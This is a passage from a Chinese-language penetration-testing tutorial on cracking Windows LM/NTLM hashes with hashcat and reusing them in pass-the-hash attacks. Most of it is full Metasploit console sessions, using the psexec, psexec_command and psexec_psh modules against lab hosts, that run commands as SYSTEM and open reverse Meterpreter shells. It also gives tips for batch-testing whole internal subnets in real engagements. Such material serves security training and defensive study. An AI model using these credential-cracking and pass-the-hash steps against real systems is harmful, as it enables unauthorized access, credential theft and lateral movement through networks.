1/1 (100.00%) SaltsProgress…: 8/8 (100.00%)Rejected…: 0/8 (0.00%)…: 0/8 (0.00%).#2…: Salt:0 Amplifier:0-1 Iteration:.#3…: Salt:0 Amplifier:0-0 Iteration:0-1Candidates.#2…: ADMIN -> DCandidates.#3…: [Copying]可以看到先破解出了:D,然后破解出了P@SSW0 ⽐较蛋疼的是 LM Hash不区分⼤⼩写,所以我们还得凭感觉去猜出具体的密码。Hashcat破解NTLM HashBashhashcat -a 0 -m 1000 --force 'e19ccf75ee54e06b06a5907af13cef42' 破解成功,得到如下结果:e19ccf75ee54e06b06a5907af13cef42:P@ssw0rdSession…: hashcatStatus…: …: …: d…: Mon Nov 18 23:44:55 2019 (0 secs)ted…: Mon Nov 18 23:44:55 2019 (0 secs)…: File ()…: 1/1 (100.00%)Speed.#2…: 0 H/s (0.00ms) @ Accel:64 Loops:1 Thr:64 Vec:1Speed.#3…: 985 H/s (0.06ms) @ Accel:1024 Loops:1 Thr:64 Vec:1Speed.#*…: 985 H/sRecovered…: 1/1 (100.00%) Digests, 1/1 (100.00%) SaltsProgress…: 5/5 (100.00%)Rejected…: 0/5 (0.00%)…: 0/5 (0.00%).#2…: Salt:0 Amplifier:0-0 Iteration:.#3…: Salt:0 Amplifier:0-1 Iteration:0-1Candidates.#2…: [Copying]Candidates.#3…: admin -> P@ssw0rd在线Hash破解⼀个国外的⽼牌Hash破解⽹站,填⼊NTLM Hash值即可:国内的 也⽀持NTLM类型的Hash破解,直接粘贴进去系统会⾃动解密,也是⽐较⽅便的:还有其他很多的在线⽹站就不推荐了,这⾥就只列举这两个⽤的⽐较多的⽹站Hash传递简介PASS THE Hash也叫Hash传递攻击,简称PTH。模拟⽤户登录不需要⽤户明⽂密码只需要就可以直接⽤获取到的Hash来登录⽬标系统。利⽤成功的前提条件是:开启445端⼝ SMB服务开启admin$共享这⾥⽬标Windows Server 2008 R2(10.211.55.4)通过mimikatz抓取到的Administrator⽤户的Hash为:* LM : 921988ba001dc8e14a3b108f3fa6cb6d* NTLM : e19ccf75ee54e06b06a5907af13cef42通过QuarksDump抓取到的Administrator⽤户的Hash为:Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42:::经过国光测试,在下⾯Hash传递的时候,只要后⾯的NTLM Hash是正确的,前⾯填写什么都是可以顺利登陆成功的,经过测试,如下Hash可以成功:AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42921988ba001dc8e14a3b108f3fa6cb6d:E19CCF75EE54E06B06A5907AF13CEF4200000000:E19CCF75EE54E06B06A5907AF13CEF4266666666666666666666666666666666:E19CCF75EE54E06B06A5907AF13CEF42也就是说:E19CCF75EE54E06B06A5907AF13CEF42部分起到关键的认证作⽤,前⾯的只要位数正确,填写啥都没有问题。下⾯是具体的演⽰。MetasploitMetasploit下⾯有3个psexec模块都可以进⾏Hash传递利⽤,他们分别是:Bash# 执⾏单个命令的PTH模块auxiliary/admin/smb/psexec_command# 执⾏直接就获取到meterpreter的PTH模块exploit/windows/smb/psexec# ⽀持对⼀个⽹段进⾏PTH进⾏验证的模块exploit/windows/smb/psexec_pshauxiliary/admin/smb/psexec_commandBashmsf5 > use auxiliary/admin/smb/psexec_commandmsf5 auxiliary(admin/smb/psexec_command) > set rhosts 10.211.55.14rhosts => 10.211.55.14msf5 auxiliary(admin/smb/psexec_command) > set smbuser administratorsmbuser => administratormsf5 auxiliary(admin/smb/psexec_command) > set smbpass AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42smbpass => AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42msf5 auxiliary(admin/smb/psexec_command) > set command "whoami"command => whoamimsf5 auxiliary(admin/smb/psexec_command) > run[+] 10.211.55.14:445 - Service start timed out, OK if running a command or non-service executable….[] 10.211.55.14:445 - checking if the file is unlocked[] 10.211.55.14:445 - Getting the command output….[] 10.211.55.14:445 - Executing cleanup….[+] 10.211.55.14:445 - Cleanup was successful[+] 10.211.55.14:445 - Command completed successfully![] 10.211.55.14:445 - Output for “whoami”:nt authoritysystem[] 10.211.55.14:445 - Scanned 1 of 1 hosts (100% complete)[] Auxiliary module execution completed⽐较鸡肋的是,这个模块不⽀持⽹段格式批量验证,所以实战中可以考虑下⾯两个模块exploit/windows/smb/psexec⽀持⽹段格式的IP,⽅便批量验证PTH,下⾯是单个验证过程:Bashmsf5 > use exploit/windows/smb/psexecmsf5 exploit(windows/smb/psexec) > set rhosts 10.211.55.14rhosts => 10.211.55.14msf5 exploit(windows/smb/psexec) > set smbuser administratorsmbuser => administratormsf5 exploit(windows/smb/psexec) > set smbpass AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42smbpass => AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42msf5 exploit(windows/smb/psexec) > set lhost 10.211.55.4lhost => 10.211.55.4msf5 exploit(windows/smb/psexec) > run[] Started reverse TCP handler on 10.211.55.4:4444[] 10.211.55.14:445 - Connecting to the server….[] 10.211.55.14:445 - Authenticating to 10.211.55.14:445 as user ‘administrator’….[] 10.211.55.14:445 - Selecting PowerShell target[] 10.211.55.14:445 - Executing the payload….[+] 10.211.55.14:445 - Service start timed out, OK if running a command or non-service executable….[] Sending stage (179779 bytes) to 10.211.55.14[*] Meterpreter session 2 opened (10.211.55.4:4444 -> 10.211.55.14:49168) at 2019-11-24 23:42:38 +0800meterpreter >下⾯⽹段批量验证效果,在内⽹当做这样验证还是⽐较实⽤⾼效的:关于前⾯32位的Hash不起作⽤的疑问,去T00ls论坛提问了,下⾯是师傅们的解答:iceword:前⾯是lm hash,lm hash已经被弃⽤了,不⽤来验证,所以添啥都⾏Hello_C:NTLM Hash = LM Hash + NT Hash,LM Hash是aad3b435b51404eeaad3b435b51404ee时,可能密码为空或者没有存储lm hash,2008默认不存储lm hash。pth ⽤nt hash,有些⼯具可能需要lm hash:nt hash格式,没有lm hash可以使⽤任意32个字符填充。安全客:如果空密码或者不储蓄LM Hash的话,我们抓到的LM Hash是AAD3B435B51404EEAAD3B435B51404EE。所以在win7 中我们看到抓到LM Hash都是AAD3B435B51404EEAAD3B435B51404EE,这⾥的LM Hash并没有价值。exploit/windows/smb/psexec_pshBashmsf5 > use exploit/windows/smb/psexec_pshmsf5 exploit(windows/smb/psexec_psh) > set rhosts 10.211.55.14rhosts => 10.211.55.14msf5 exploit(windows/smb/psexec_psh) > set smbuser administratorsmbuser => administratormsf5 exploit(windows/smb/psexec_psh) > set smbpass AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42smbpass => AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42msf5 exploit(windows/smb/psexec_psh) > set lhost 10.211.55.4lhost => 10.211.55.4msf5 exploit(windows/smb/psexec_psh) > run[] Started reverse TCP handler on 10.211.55.4:4444[] 10.211.55.14:445 - Executing the payload….[+] 10.211.55.14:445 - Service start timed out, OK if running a command or non-service executable….[] Sending stage (179779 bytes) to 10.211.55.14[] Meterpreter session 3 opened (10.211.55.4:4444 -> 10.211.55.14:49169) at 2019-11-24 23:44:12 +0800meterpreter >这个模块也⽀持⽹段批量验证,这⾥就不再赘述了。参考资料
发布评论